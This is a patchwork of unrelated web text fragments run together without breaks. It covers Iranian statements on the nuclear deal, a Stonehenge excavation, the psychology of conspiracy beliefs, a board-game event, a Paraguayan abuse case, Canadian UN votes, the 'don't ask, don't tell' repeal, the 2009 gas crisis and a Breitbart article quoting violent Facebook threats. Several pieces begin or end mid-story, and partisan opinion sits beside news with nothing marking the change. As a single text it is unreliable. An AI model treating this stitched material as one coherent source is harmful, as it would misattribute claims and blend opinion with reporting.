“The intimidating rhetoric of American political and security officials not only makes any change in the principle policies of the Islamic Republic of Iran in regional issues, developing conventional defense capabilities, and continuation of support for wronged nations suffering from the arrogant powers, but also exposes the real bellicose approach of this country to the public opinion of the world,” underlined the Iranian official.
He also noted that the JCPOA (the Joint Comprehensive Plan of Action signed on July 15, 2015 between the foreign ministers of Iran, UK, US, France, Germany, Russia, and China along with EU representative) is an international document approved by the UNSC which mandates all sides’ compliance with it and protection against unwise, extremist, and illegal measures which undermine it.
“The Americans’ media hype and psychological warfare in 120-day period of issuing sanctions reliefs is intended to influence other countries and prevent them from cooperating with Iran, in line with their Iranophobia campaign,” said the official of the Iranian supervisory council of JCPOA Implementation.
“This trend proves that the American ruling body does not have a clear sense of Iran’s atmosphere of trade and economy,” articulated Mr. Shamkhani referring to the growing traffic of foreign officials and trade delegations visiting Tehran. “They do not know this vast country of potentials.”
The Belgian legislator, in this meeting, for his part, underlined that with activation of the huge potentials of cooperation between Iran and Belgium a new chapter will be opened in the bilateral relations of the two countries in the areas of mutual interests.
He also offered thanks to Tehran for all the measures taken against terrorism saying that, “Iran is the stabilizing element in the region playing a bold role in fighting terrorism.”
There was no gold or bronze, but to the archaeologists who led the excavation, Professors Tim Darvill and Geoffrey Wainwright, the unlovely heap of finds is real treasure. They are convinced the stone chips are evidence of belief in the healing power of the "bluestones" brought 150 miles from south Wales, which endured long after the monument was thought to have been abandoned.
The magical bluestone, spotted dolerite which when newly quarried is a dark blue speckled with brilliant white stars of quartz, made Stonehenge into the Lourdes of prehistoric Europe, they believe, or as Darvill put it yesterday, "the accident and emergency unit of southern England".
The charcoal fragments also add haunting new evidence to the Stonehenge story. Darvill and Wainwright revealed yesterday, at the Society of Antiquaries in London, that the earliest has been dated to 7,000BC, and the most recent to medieval times, suggesting that the site was already important 4,000 years before the oldest stone circle, and continued to draw visitors for centuries after it was believed to have been abandoned.
Although they concede Stonehenge was probably "multifunctional", possibly also serving as a giant calendar marking the solstices, as well as a site of ancestor worship, they are convinced its true importance came from the modest bluestones, the size of a man or smaller, dwarfed by the awesome sarsens.
Two of the original bluestones were broken, many chipped into fragments, and some survive only as stumps underground after being broken up to serve as healing talismans.
Organic remains, including a few specks of grain and seed, have allowed secure dating for the first time of the bluestone circle: around 2,300BC, three centuries later than previously thought.
The stones were repeatedly moved and rearranged, and the enormous sarsen trilithons added, before the final outer circle of sarsen uprights and lintels was created around 1,900BC, creating the world-famous profile of the monument.
Although the double-decker bus height sarsens are undoubtedly the most impressive, Darvill and Wainwright believe they were essentially an architectural framework for the bluestones, just as towering medieval cathedrals grew over the shrines of saints. The stone comes from only one place, an outcrop of the Preseli hills near Wainwright's home in Pembrokeshire. The crags are full of springs, many still regarded as healing holy wells, and ancient decorated stones prove they were important from prehistoric times.
Their theory, which they said yesterday was borne out by their excavation results, was that they were brought to Stonehenge by stupendous human effort because of the belief in their healing power. They completely dismiss the rival theory that the stones were carried by glaciers. "The one tiny flaw in the theory is that there is absolutely no evidence for glaciation of Wiltshire," Wainwright said.
By re-examining old records they have now found evidence of chips of bluestone buried with many bodies in the Stonehenge area - including that of the Amesbury Archer, one of the richest finds in decades, who died around 2,300BC - and they believe further research will uncover many more.
Bluestone fragments have also been found at other monuments, including the summit of nearby Silbury Hill.
Many of the bodies bear the marks of horrible illness or injury, supporting the theory that they came to Stonehenge in futile search of a cure or at least respite from excruciating pain.
The Archer, whose grave was found in 2002 just three miles from Stonehenge, came like the much younger man buried near him - who may have been a son or nephew - from modern Switzerland. The skeleton suggests he spent years in agony from a shattered kneecap, and may eventually have died poisoned by an abscess which rotted a hole through his jaw.
Archaeologists had believed that by the time the Romans arrived in Britain, Stonehenge was just a towering enigma, its ritual importance entirely forgotten.
The latest finds imply a much more complex story: they include a Roman coin among stone fragments, suggesting the Romans also believed in and sought out the healing magic. The later charcoal deposits suggest to Darvill and Wainwright annual gatherings, perhaps for feasting and ceremony at the winter solstice, continuing as late as the 17th century.
The modern-day druids and pagans who assemble bearing green boughs for the winter and summer solstices may not be so far off the mark after all.
The last excavation at Stonehenge was in 1964. Although in April Darvill and Wainwright only won permission from English Heritage for a trench the size of a large hearthrug - "a little piece of keyhole surgery" as Darvill described it - it was the first excavation at which the whole armoury of modern scientific archaeology could be fired. "This is very much work in progress," Wainwright said yesterday. "There are more surprises to come, I'm sure of that."
Next season they will be back in Preseli, looking for more evidence of ritual practice at the home of the bluestones.
"I'm sure we'll find the Welsh architect of Stonehenge yet," Wainwright said.
The excavation was funded by BBC Timewatch and Smithsonian Networks and a documentary on the findings will be screened on BBC2 at 8pm on Saturday.
Theories
The 20th-century archaeologist Jacquetta Hawkes said each generation "has the Stonehenge it deserves - or desires". These are some of the explanations for one of the most spectacular monuments of the ancient world.
· Geoffrey of Monmouth, 12th-century historian, said giants originally brought the stones from Africa to Ireland, where they were used for healing, and then Merlin brought them to Britain.
· John Aubrey, 17th-century antiquary, discovered the row of barely visible pits now named after him, which possibly held the first wooden posts, and believed the structure was a druid temple.
· John Wood the Elder, 18th-century architect, carried out the first accurate survey of Stonehenge in 1740, which directly influenced his designs for the Circus in Bath.
· William Stukeley, 18th-century antiquary, working with the astronomer Edmund Halley, said Stonehenge was completed in 460BC, and was aligned with magnetic north.
· Joseph Norman Lockyer, scientist and astronomer, suggested in 1906 that Stonehenge was a giant astronomical observatory.
· Gerald Hawkins, British astronomer, suggested in 1966, in Stonehenge Decoded, that the monument was a prehistoric computer, capable of complex predictions of planetary alignments and eclipses.
In a wordplay kind of way, it’s a bit ironic that “Dundonald” can host the Scottish Open, but an equally beautiful course “Trump International Golf Links”, also located in The Home of Golf, may never get the chance.
Martin Gilbert, the chief executive for Aberdeen Asset Management, the title sponsor of the event, says he loves Donald Trump’s incredible Scotland golf course, but, according to the Associated Press, he is not interested in bringing the Open there because of the controversy that surrounds the president.
“Trump (International), I don’t need to tell you, is a great golf course, but there are issues if we went there. The worst thing would be if he came. No decision has been made, but, look, there are clear issues, shall we say.
“Politics aside, Trump (International Golf Links) would be an ideal venue, but you can’t put politics aside. That is the issue so we will wait and see.”
In this sports writer’s humble opinion, Gilbert’s comment that “the worst thing would be if he came,” which so easily rolled off his lips, is so disrespectful to the 45th president of the United States, that all American PGA players should boycott the event until the chief executive apologizes or resigns for the insult.
In 2015, while visiting the course that bears his name, Trump asserted, “the Scottish Open is coming.” But with leftists like Martin Gilbert heading up the tournament’s title sponsor, it’s unlikely that will ever happen.
How do you know if your avacado is over ripe?
"Simply hold it, squeeze it and if it yields to pressure, that's an indication it's prefect to use for guacamole," said Gwen, "After you open your avocado check for brown spots. If there's any spots simply remove them and use the rest of your fruit for your guacamole. We are going to be using ripe avocados today to make a guacamole with cilantro, fresh garlic, lime juice, jalapeno and salt and pepper to taste," said Gwen.
The others soon chip in with their thoughts on the US president’s fondness for conspiracy theories. The chatter quickly turns to other conspiracies and I enjoy eavesdropping while the group brutally mock flat Earthers, chemtrails memes and Gwyneth Paltrow’s latest idea.
Then there’s a lull in the conversation, and someone takes it as an opportunity to pipe in with: “That stuff might be nonsense, but don’t try and tell me you can trust everything the mainstream feeds us! Take the moon landings, they were obviously faked and not even very well. I read this blog the other day that pointed out there aren’t even stars in any of the pictures!”
To my amazement the group joins in with other “evidence” supporting the moon landing hoax: inconsistent shadows in photographs, a fluttering flag when there’s no atmosphere on the moon, how Neil Armstrong was filmed walking on to the surface when no-one was there to hold the camera.
A minute ago they seemed like rational people capable of assessing evidence and coming to a logical conclusion. But now things are taking a turn down crackpot alley. So I take a deep breath and decide to chip in.
“Actually all that can be explained quite easily … ”
They turn to me aghast that a stranger would dare to butt into their conversation. I continue undeterred, hitting them with a barrage of facts and rational explanations.
“The flag didn’t flutter in the wind, it just moved as Buzz Aldrin planted it! Photos were taken during lunar daytime – and obviously you can’t see the stars during the day. The weird shadows are because of the very wide-angle lenses they used which distort the photos. And nobody took the footage of Neil descending the ladder. There was a camera mounted on the outside of the lunar module which filmed him making his giant leap. If that isn’t enough then the final clinching proof comes from the Lunar Reconnaissance Orbiter’s photos of the landing sites where you can clearly see the tracks that the astronauts made as they wandered around the surface.
“Nailed it!” I think to myself.
But it appears my listeners are far from convinced. They turn on me, producing more and more ridiculous claims. Stanley Kubrick filmed the lot, key personnel have died in mysterious ways, and so on …
The train pulls up in a station, it isn’t my stop but I take the opportunity to make an exit anyway. As I sheepishly mind the gap I wonder why my facts failed so badly to change their minds.
The simple answer is that facts and rational arguments really aren’t very good at altering people’s beliefs. That’s because our rational brains are fitted with not-so-evolved evolutionary hard wiring. One of the reasons why conspiracy theories spring up with such regularity is due to our desire to impose structure on the world and incredible ability to recognise patterns. Indeed, a recent study showed a correlation between an individual’s need for structure and tendency to believe in a conspiracy theory.
Take this sequence for example:
Can you see a pattern? Quite possibly – and you aren’t alone. A quick twitter poll (replicating a much more rigourous study) suggested that 56% of people agree with you – even though the sequence was generated by me flipping a coin.
It seems our need for structure and our pattern recognition skill can be rather overactive, causing a tendency to spot patterns – like constellations, clouds that looks like dogs and vaccines causing autism – where in fact there are none.
The ability to see patterns was probably a useful survival trait for our ancestors – better to mistakenly spot signs of a predator than to overlook a real big hungry cat. But plonk the same tendency in our information rich world and we see nonexistent links between cause and effect – conspiracy theories – all over the place.
Peer pressure
Another reason we are so keen to believe in conspiracy theories is that we are social animals and our status in that society is much more important (from an evolutionary standpoint) than being right. Consequently we constantly compare our actions and beliefs to those of our peers, and then alter them to fit in. This means that if our social group believes something, we are more likely to follow the herd.
This effect of social influence on behaviour was nicely demonstrated back in 1961 by the street corner experiment, conducted by the US social psychologist Stanley Milgram (better known for his work on obedience to authority figures) and colleagues. The experiment was simple (and fun) enough for you to replicate. Just pick a busy street corner and stare at the sky for 60 seconds.
Most likely very few folks will stop and check what you are looking at – in this situation Milgram found that about 4% of the passersby joined in. Now get some friends to join you with your lofty observations. As the group grows, more and more strangers will stop and stare aloft. By the time the group has grown to 15 sky gazers, about 40% of the by-passers will have stopped and craned their necks along with you. You have almost certainly seen the same effect in action at markets where you find yourself drawn to the stand with the crowd around it.
The principle applies just as powerfully to ideas. If more people believe a piece of information, then we are more likely to accept it as true. And so if, via our social group, we are overly exposed to a particular idea then it becomes embedded in our world view. In short social proof is a much more effective persuasion technique than purely evidence-based proof, which is of course why this sort of proof is so popular in advertising (“80% of mums agree”).
Social proof is just one of a host of logical fallacies that also cause us to overlook evidence. A related issue is the ever-present confirmation bias, that tendency for folks to seek out and believe the data that supports their views while discounting the stuff that doesn’t. We all suffer from this. Just think back to the last time you heard a debate on the radio or television. How convincing did you find the argument that ran counter to your view compared to the one that agreed with it?
The chances are that, whatever the rationality of either side, you largely dismissed the opposition arguments while applauding those who agreed with you. Confirmation bias also manifests as a tendency to select information from sources that already agree with our views (which probably comes from the social group that we relate too). Hence your political beliefs probably dictate your preferred news outlets.
Of course there is a belief system that recognises logical fallacies such as confirmation bias and tries to iron them out. Science, through repetition of observations, turns anecdote into data, reduces confirmation bias and accepts that theories can be updated in the face of evidence. That means that it is open to correcting its core texts. Nevertheless, confirmation bias plagues us all. Star physicist Richard Feynman famously described an example of it that cropped up in one of the most rigorous areas of sciences, particle physics.
“Millikan measured the charge on an electron by an experiment with falling oil drops and got an answer which we now know not to be quite right. It’s a little bit off, because he had the incorrect value for the viscosity of air. It’s interesting to look at the history of measurements of the charge of the electron, after Millikan. If you plot them as a function of time, you find that one is a little bigger than Millikan’s, and the next one’s a little bit bigger than that, and the next one’s a little bit bigger than that, until finally they settle down to a number which is higher.” “Why didn’t they discover that the new number was higher right away? It’s a thing that scientists are ashamed of – this history – because it’s apparent that people did things like this: When they got a number that was too high above Millikan’s, they thought something must be wrong and they would look for and find a reason why something might be wrong. When they got a number closer to Millikan’s value they didn’t look so hard.”
Myth-busting mishaps
You might be tempted to take a lead from popular media by tackling misconceptions and conspiracy theories via the myth-busting approach. Naming the myth alongside the reality seems like a good way to compare the fact and falsehoods side by side so that the truth will emerge. But once again this turns out to be a bad approach, it appears to elicit something that has come to be known as the backfire effect, whereby the myth ends up becoming more memorable than the fact.
One of the most striking examples of this was seen in a study evaluating a “Myths and Facts” flyer about flu vaccines. Immediately after reading the flyer, participants accurately remembered the facts as facts and the myths as myths. But just 30 minutes later this had been completely turned on its head, with the myths being much more likely to be remembered as “facts”.
The thinking is that merely mentioning the myths actually helps to reinforce them. And then as time passes you forget the context in which you heard the myth – in this case during a debunking – and are left with just the memory of the myth itself.
To make matters worse, presenting corrective information to a group with firmly held beliefs can actually strengthen their view, despite the new information undermining it. New evidence creates inconsistencies in our beliefs and an associated emotional discomfort. But instead of modifying our belief we tend to invoke self-justification and even stronger dislike of opposing theories, which can make us more entrenched in our views. This has become known as the as the “boomerang effect” – and it is a huge problem when trying to nudge people towards better behaviours.
For example, studies have shown that public information messages aimed at reducing smoking, alcohol and drug consumption all had the reverse effect.
Make friends
So if you can’t rely on the facts how do you get people to bin their conspiracy theories or other irrational ideas?
Scientific literacy will probably help in the long run. By this I don’t mean a familiarity with scientific facts, figures and techniques. Instead what is needed is literacy in the scientific method, such as analytical thinking. And indeed studies show that dismissing conspiracy theories is associated with more analytic thinking.
Most people will never do science, but we do come across it and use it on a daily basis and so citizens need the skills to critically assess scientific claims.
Of course, altering a nation’s curriculum isn’t going to help with my argument on the train. For a more immediate approach, it’s important to realise that being part of a tribe helps enormously. Before starting to preach the message, find some common ground.
Meanwhile, to avoid the backfire effect, ignore the myths. Don’t even mention or acknowledge them. Just make the key points: vaccines are safe and reduce the chances of getting flu by between 50% and 60%, full stop. Don’t mention the misconceptions, as they tend to be better remembered.
Also, don’t get the opponents gander up by challenging their worldview. Instead offer explanations that chime with their preexisting beliefs. For example, conservative climate-change deniers are much more likely to shift their views if they are also presented with the pro-environment business opportunities.
One more suggestion. Use stories to make your point. People engage with narratives much more strongly than with argumentative or descriptive dialogues. Stories link cause and effect making the conclusions that you want to present seem almost inevitable.
All of this is not to say that the facts and a scientific consensus aren’t important. They are critically so. But an an awareness of the flaws in our thinking allows you to present your point in a far more convincing fashion.
It is vital that we challenge dogma, but instead of linking unconnected dots and coming up with a conspiracy theory we need to demand the evidence from decision makers. Ask for the data that might support a belief and hunt for the information that tests it. Part of that process means recognising our own biased instincts, limitations and logical fallacies.
So how might my conversation on the train have gone if I’d heeded my own advice… Let’s go back to that moment when I observed that things were taking a turn down crackpot alley. This time, I take a deep breath and chip in with.
“Hey, great result at the game. Pity I couldn’t get a ticket.”
Soon we’re deep in conversation as we discuss the team’s chances this season. After a few minutes’ chatter I turn to the lunar landing conspiracy theorist “Hey, I was just thinking about that thing you said about the moon landings. Wasn’t the sun visible in some of the photos?”
He nods.
“Which means it was daytime on the moon, so just like here on Earth would you expect to see any stars?”
“Huh, I guess so, hadn’t thought of that. Maybe that blog didn’t have it all right.”
By Mark Lorch, Professor of Science Communication and Chemistry, University of Hull
The safety of the light begins to fade and the cold winds hinting of death and winter begin to blow. The shadows reach out their catching tendrils and the things that go bump in the night grow bolder with each passing day. The veil that separates our world from the next is lifted ever so briefly. The creatures of nightmares are coming.
Fantasy Flight Games is pleased to announce that the celebration of Lovecraftian horror, Arkham Nights 2017, will be held this October 13-14 at the Fantasy Flight Games Center in Roseville, Minnesota! Purchase tickets here, and read on to learn what you might expect to encounter!
For those daring mortals who seek out the unknown, entranced by the mysterious and the sinister, Arkham Nights is the ultimate destination. This chilling two-day event offers participants the opportunity to play demos, receive exclusive gifts, and meet and play with the designers who bring the beloved Lovecraftian games to life.
Nightmares Begin Anew
Arkham Nights 2017 invites all attendees to celebrate Lovecraftian horror in all its forms, with both new and classic Arkham Horror Files games. You'll have the chance to play the Streets of Arkham expansion for Mansions of Madness Second Edition before its release to the outside world, and you can peek behind the curtain at upcoming expansions for both Elder Sign and Eldritch Horror. Attendees will be able to test their sanity with playthroughs of the epic twelve-player Labyrinth of Lunacy scenario for Arkham Horror: The Card Game. And of course, the two-day event will also mark the much-anticipated return of Cycle of Eternity for Eldritch Horror and To the Barricades for Arkham Horror!
Beyond celebrating the Arkham Horror game series, this event will offer a variety of special events filled with thrills and chills. The original creator of Arkham Horror, Richard Launius, will be offering a "Play with the Designer" experience of the game that started it all on a custom, giant-size board. On Friday night, attendees will be chosen by lottery to participate in a card council with Nate French and Matt Newman to create a unique card for Arkham Horror: The Card Game, gaining a rare insight into the creative process and the method to the madness. Then, on Saturday, attendees are encouraged to don their pallid masks and trenchcoats for an Arkham-themed costume contest, complete with prizes. There will be more "Play with the Designer" opportunities throughout the event with members of the Fantasy Flight Games development team, and for those who wish to delve deeper into the Arkham Horror universe, a new novella will go on sale this weekend, inviting you to continue to revel in madness even after the portals to other worlds have closed.
Mementos of Madness
All attendees will receive a gift bag filled with implements to help you stand against the coming darkness. The embroidered 6” by 9” velvet bag, only available to those who attend the event, contains a collection of acrylic health and sanity tokens, an Arkham Horror deck box, two promotional investigators for Elder Sign, and the Arkham Horror: The Card Game Labyrinth of Lunacy deck. In this epic expansion for Arkham Horror: The Card Game, which made its first appearance in our world at Gen Con 50, up to twelve players face horrific perils at the hands of a madman as they must work together to escape.
The girl was 10 years old and 22 weeks pregnant when the story first broke
Her 42-year-old stepfather is accused of raping the girl; he demanded a DNA test to prove his innocence
(CNN) An 11-year-old girl denied an abortion after allegedly being raped by her stepfather has given birth to a healthy baby girl in Asunción, Paraguay, where a fierce debate is brewing over a law banning most abortions.
Thursday's birth was confirmed by Asunción Red Cross Director Mario Villalba.
In the mostly Catholic country, 684 girls between the ages of 10 and 14 gave birth last year. Most of the minors had been victims of sexual abuse, according to government figures. A Paraguayan law bans abortions except in cases where the pregnancy endangers the mother's life.
The baby was born by cesarean and weighed 3 kilograms (about 6.6 pounds). Villalba said the baby and her mother "are in good health condition." He also said doctors are monitoring them closely. They are expected to be released within three days if no complications arise.
The case shocked Paraguayans when it came to light in May . At the time the girl was 10 years old and 22 weeks pregnant. Authorities immediately arrested the girl's mother. The woman, who according to reports is 32 years old, was charged with child neglect and complicity.
Under Justin Trudeau “Canada is back” to isolating itself from world opinion on Palestinian rights.
On Monday, Canada joined the U.S., Israel, Marshall Islands, Nauru, Federated States of Micronesia and Palau in opposing a UN Social, Humanitarian and Cultural Committee resolution in support of Palestinian self-determination.
Two weeks ago Ottawa joined Israel, the US, Marshall Islands, Federated States of Micronesia, and Palau in opposing motions titled “Israeli settlements in the Occupied Palestinian Territory, including East Jerusalem, and the occupied Syrian Golan” and “persons displaced as a result of the June 1967 and subsequent hostilities.” One hundred and fifty-six countries voted in favour of the motions while seven abstained on the first and six on the second.
Two among numerous resolutions upholding Palestinian rights Canada opposed, these votes follow on the heels of foreign minister Stéphane Dion attacking UNESCO for defending Palestinian rights. Last month the UN cultural body criticised Israel for restricting Muslim access to the Al Aqsa Mosque compound and recognised Israel as the occupying power. “Canada strongly rejects UNESCO World Heritage singling out Israel & denying Judaism’s link to the Old City + Western Wall,” Dion tweeted.
A few months earlier Trudeau’s minister criticized another arm of the UN. In March Diondenounced the UN Human Rights Council’s appointment of University of Western Ontario law professor Michael Lynk as “Special Rapporteur on Palestine”. Claiming the Canadian lawyer was hostile to Israel, Dion asked the UNHRC to review Lynk’s appointment.
In addition to isolating Canada internationally, the Trudeau government has pursued various pro-Israel moves. At the start of the month Governor General David Johnstonvisited a Jewish National Fund Forest. An owner of 13 per cent of Israel’s land, the JNF discriminates against Palestinian citizens of Israel (Arab Israelis) who make up a fifth of the population. According to a UN report, JNF lands are “chartered to benefit Jews exclusively,” which has led to an “institutionalized form of discrimination.”
While the GG recently visited a racist Israeli institution, the PM attended the “Butcher of Qana’s” funeral at the end of September. In 1996 Shimon Peres ordered the shelling of a UN compound in the village of Qana, Lebanon, which killed 106 civilians — half of whom were children. Through his long political career, reports Patrick Martin, Peres “was deeply implicated in many of the foulest historical crimes associated with the establishment, expansion and militarization of the state of Israel.”
Peres’ role in dispossessing Palestinians didn’t stop the Trudeau government from gushing with praise after he passed away. “The whole country of Canada is supporting the whole country of Israel and the prime minister wanted that to be very clear,” Dion told the press.
At the start of the year the Liberals condemned Canadians seeking to hold Israel accountable to international law. The Prime Minister and most Liberal MPs supported a Conservative Party call for the House of Commons to “reject the Boycott, Divestment and Sanctions (BDS) movement, which promotes the demonization and delegitimization of the State of Israel.” The February resolution also “condemned any and all attempts by Canadian organizations, groups or individuals to promote the BDS movement, both here at home and abroad.”
The Trudeau government’s efforts to undermine Palestinians liberation strengthens Canada’s multifaceted contribution to Israeli expansionism. Each year registered Canadian charities channel tens of millions of dollars to projects supporting Israel’s powerful military, racist institutions and illegal settlements. Over the past decade Ottawa has delivered over one hundred million dollars in aid to the Palestinian Authority in an explicit bid to advance Israel’s interests by building a security apparatus to protect the corrupt Palestinian Authority from popular disgust over its compliance in the face of ongoing Israeli settlement building. Further legitimating its illegal occupation, Canada’s two-decade old free trade agreement with Israel allows settlement products to enter Canada duty-free.
The truth is, it’s hard to tell Canada’s political parties apart when it comes to enabling Israeli oppression of Palestinians.
The measure passed in a largely party-line, 229-186 vote as part of a larger defense authorization bill despite a growing controversy over allegations of wasteful spending in the legislation. Most Democrats backed the bill while most Republicans opposed it.
Attention now shifts to the Senate, where the Armed Services Committee approved a "don't ask, don't tell" repeal earlier in the week. As in the House, the committee was divided sharply along partisan lines.
The plan is a compromise under which the repeal would occur only after a military review of the question and subsequent approval by Obama, the defense secretary and the chairman of the Joint Chiefs of Staff.
Opponents of the repeal language argue the military should first carry out the review ordered by Defense Secretary Robert Gates that is scheduled to be completed in December. Only then would military leaders have the necessary information from force members to develop a plan for carrying out the repeal, they claim.
Under the compromise, the military would be given time to complete its review as sought by Gates and the chairman of the Joint Chiefs of Staff, Adm. Mike Mullen. Gates and Mullen both said this week they could accept the compromise language.
A recent CNN poll seemed to suggest that Americans are ready for the change. The CNN/Opinion Research Corp. survey released Tuesday indicated that 78 percent of the public supports allowing openly gay people to serve in the military, with one in five opposed.
Threatening to derail the plan, however, is House members' insistence on spending almost $500 million on a fighter engine that neither the White House nor the Pentagon wants. Funding for the engine was included in the House's version of the legislation but not the Senate's.
A White House spokesman warned before the House vote on Friday that President Barack Obama would veto the bill if funding for the engine isn't removed. Gates has blasted the proposed funding for the extra F-35 Joint Strike Fighter engine, calling it a "waste of money" that doesn't meet the fighter's performance needs.
The chairman of the Senate Armed Services committee said Friday that he hopes Obama wouldn't veto the plan if Congress failed to remove the controversial funding.
"It's difficult to believe the president would do anything other than look at the entire bill, not just one provision," said Sen. Carl Levin, D-Michigan.
Levin wouldn't predict if the engine funding would still be in the bill by the time it reaches Obama's desk. "We are a long way from having a product," he said. "Some of the things which I would think (Obama) may not like may be dropped along the way."
Supporters of repealing the "don't ask, don't tell" policy have been pressuring congressional Democrats to act now, fearing the party will lose its House or Senate majority in November's midterm election and be unable to pass the measure afterward.
The compromise emerged late Monday from a meeting at the White House involving administration officials, gay rights groups and Pentagon officials, sources told CNN.
There were also talks on Capitol Hill involving White House lawyers, Pentagon officials and staff from the offices of influential House and Senate Democrats, including House Speaker Nancy Pelosi, the sources added.
A senior U.S. military official with direct knowledge of the Pentagon review process told CNN it is well under way, with a survey going out shortly to about 70,000 troops and families to solicit their views.
In addition, the official said, town hall meetings already have been held around the country and more are expected, while a website provides a place for troops to write in their views.
The military needs until the end of 2010 to figure out how to implement the repeal in terms of housing, medical and marriage benefits, as well as issues involving the reinstatement of gay soldiers previously discharged under the policy, the official said.
A major problem might be determining how to reconcile the repeal of "don't ask, don't tell" with federal law that defines marriage as between a man a woman, the official added.
Today, to the excitement of just about every Cardinal fan, Bobby Petrino and staff were able to secure another pledge from an offensive lineman for 2017.
Toryque Bateman, a composite 3-star from Gadsden, Alabama, decided to further his playing career at the University of Louisville. He holds offers from most notably Miami, Michigan, Mississippi State, and Tennessee.
With the commitment of Bateman, that moves Louisville’s class back up to 22 commits after last night’s loss of Ben Hutch. The Cardinals now have four offensive linemen in the fold for 2017.
So in the spirit of “Be the dopiness you want to see in the world,” I made a little quiz for you. Use the map below to count how many neighborhoods you’ve been to, then share your results on Twitter or Facebook.
For these purposes we’re using the boundaries of Chicago’s official 77 community areas.
What does it mean to “be” in a neighborhood? Good question, Hamlet. If you take the Eisenhower out to Oak Park, have you “been to” Austin and West Garfield Park? If you take the Orange Line to Midway (the terminals of which are largely in Garfield Ridge), have you also “been to” to New City and West Elsdon on the way?
I suggest you count a neighborhood if you have literally set foot in it. You’ve gotten out of your car or off the train. You’ve taken at least one deep breath of fresh air and had at least the minimal of experiences there.
Myself, I count 47 that I’ve been to. Can you beat that?
Your Neighborhood Scorecard You’ve been to 0 of Chicago’s 77 neighborhoods. Permalink Reset map
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All supplies to Romania had already been cut, while Slovakia has declared a state of emergency and Bulgaria says it will run out of gas within days.
The European Union branded the situation "completely unacceptable" and demanded the flow be restored.
"It is indeed a crisis, a serious one," Ferran Tarradellas told BBC Radio 4's Today programme. Alternative routes from Russia avoiding Ukraine will not be able to replace the shortfall, he noted. "We are demanding that they restore gas supplies to the EU immediately."
The disruption coincides with a particularly cold snap – temperatures dropped to minus 15F (minus 25C) in Serbia – and many countries in eastern and central Europe depend on gas for central heating.
Gas officials in Moscow and Kiev signalled they were ready for further talks to resolve the problems. But both sides continued to blame the other for the disruption.
One after another, European countries announced cuts in their supplies of Russian gas, with Balkan countries the hardest hit but EU heavyweights France, Germany and Italy also suffering reductions.
Russia is the world's largest natural gas producer and provides around one-quarter of the gas used in the European Union, or about 40 per cent of the gas the bloc imports.
The country cut gas supplies to Ukraine on January 1 over a payment dispute. It then accused Ukraine of "stealing" Russian gas meant for customers in Europe.
On Monday, Russian Prime Minister Vladimir Putin ordered an immediate reduction of gas shipped to Europe via Ukraine to compensate for volumes Gazprom said had been illegally siphoned off by Kiev.
Leaders in both Russia and Ukraine had pledged in recent weeks that supplies to Europe would not be disrupted by their dispute.
Bulgaria has resorted to rationing supplies to industry, Slovakia declared an energy emergency and most Balkan countries said deliveries of Russian gas had been totally halted.
Moms Demand Action members posted, “Do[n]’t arrest them just shoot them, these people are crazy,” “Time to use an assault weapon on this trash,” “Just shoot them all…,” and “Mow them down.” Another added, “a**hats. no one has taken your guns. you are the ones causing problems. [P]lease just shoot each other.”
The founder of Open Carry Texas told Breitbart Texas, “It’s my belief that the reason the Moms Demand Action crowd are so opposed to guns in the hands of the public is because they obviously can’t be trusted with guns in public.”
C J Grisham, president and founder of Open Carry Texas (OCT), a Second Amendment and pro-gun group tweeted the group’s comments on their Facebook page commenting, “Moms Demand Action for Gun Sense in America, for a group that is supposedly the halo’d angels of the gun debate,…”:
Moms Demand Action for Gun Sense in America, for a group that is supposedly the halo’d angels of the gun debate,… https://t.co/8t7wsIZZzv — Open Carry Texas (@OpenCarryTexas) March 15, 2016
The women were responding to a Time magazine article reporting that Open Carry Texas planned to hand out literature and show attendees at the South by Southwest festival that “gun owners are no different than anyone else.” As reported by Breitbart Texas, President Obama attended the conference held in Austin, Texas.
The anti-gun activists posted the Time article on their Facebook page deceivingly stating, “Texas open carry extremists are making threats against President Obama as he prepares to attend South by Southwest.”
The women went berserk speculating that the President’s presence in Texas with gun rights groups blocks away somehow endangered the commander in chief. OCT has attended the SxSW conference during the last three years and planned only to have groups of up to ten people at one entrance of the Texas State Capitol – nowhere near the festival or the president.
One woman posted, “Lock them.up..and throw away the key..we don’t need another assassination on Texas soil..or anywhere for that matter..they threaten..no joke..we take school kids threats seriously ..and not these adults??” Another said, “I hope the Secret Service mows them down if these jerks show up. Leave their bodies to the scavengers.”
In an apparent reference to the 1963 assassination of President John F. Kennedy in Dallas, another MDM member posted, “It’s not a good idea for Democratic presidents to go to Texas. I hope he’s wearing bullet proof gear. All of these treasonous idiots threatening him should be arrested.”
The anti-gun group’s misleading Facebook post of the Time article has received almost 1000 Facebook shares as of the time of publication of this article.
Moms Demand Action for Gun Sense in America is an anti-gun organization funded by Michael Bloomberg. The former mayor of New York City is listed by Forbes Magazine as ranking #14 in the world for billionaires ($37.4 billion). Besides owning a financial news organization, he is a founder of Mayors Against Illegal Guns. Open Carry leaders say he funds the activities of Moms Demand Action in America and in Texas. The group is run by former Monsanto Director of Corporate and Public Affairs Shannon Troughton. Troughton is accused by Lone Star Gun Rights of “hid[ing] her identity by hiding under the name Shannon Watts.”
Alice Tripp from the Texas State Rifle Association told Breitbart Texas during the legislative session that Moms Demand Action “apparently are a politically-motivated organization that appeared for the first time to be attached to a lobbyist.” The group has been accused of “not just being Mommies,” but rather a highly organized political operation. Tripp said there has not been a paid anti-gun lobbyist at the Texas Capitol since 2001. Nina Butts was the lobbyist back then for the Brady anti-gun campaign. Butts left the Capitol after it became dominated by Republicans. Tripp says a Bloomberg-funded lobbyist is now working at the Texas Capitol.
Breitbart Texas helped expose Moms Demand Action when a witness mislead the Texas Senate in May 2015. As reported, a woman testifying for the group was called on the carpet for misleading legislators by implying by omission that the tragic killing of her husband by her son resulted from the use of a firearm. In reality, her son killed his father with a pipe wrench and a knife. The fact that her son owned what she called “an arsenal” had no bearing on the murder. Open Carry Texas produced a short video which contrasted the woman’s testimony at the Capitol with newspaper and television reports about the murder and her son’s trial.
Terry Holcomb, Executive Director of Texas Carry told Breitbart Texas during the 2015 Texas legislative session, “The sloppy tactics expose MDA daily of being a fraud that seems to fit in-line with Eric Holders’ statement about a need to brainwash the American public about firearms.”
Breitbart Texas covered the testimony given by other women who testified on May 18, 2105 at the Capitol in a story entitled “Moms Demand Action: Bloomberg’s ‘Stepford Robots’ in Texas (with video).” This article also included a video published by OCT president and founder, C.J. Grisham. The video shows women from Moms Demand Action dutifully reading the same script over, and over, and over again. The videotape was taken from Texas legislative video archives.
